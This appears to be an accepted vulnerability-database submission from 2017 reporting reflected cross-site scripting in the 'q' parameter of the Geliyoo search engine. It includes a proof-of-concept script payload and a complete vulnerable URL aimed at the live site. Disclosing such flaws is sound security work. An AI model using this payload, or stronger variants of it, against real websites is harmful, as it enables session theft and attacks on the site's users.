提交 #2: GELIYOO Searh Engine Cross-Site Scripting

Description:
Geliyoo is Turkey's first domestic search engine.

Vulnerable Link : https://www.geliyoo.com/

Cross Site Scripting (Reflected):
Parameters: q (GET)
Payload(s):
q=<script>alert("XSS"); </script>

Vulnerable URL : https://www.geliyoo.com/#q=<script>alert("XSS"); </script>

• 来源: ⚠️ https://www.geliyoo.com/
• 用户: k2an (UID 198)
• 提交: 2017-01-18 08時23分 (10 年前)
• 管理: 2017-01-18 11時01分 (3 hours later)
• 状态: 已接受
• VulDB条目: 95442 [Geliyoo Search Engine q Reflected 跨网站脚本]
• 积分: 15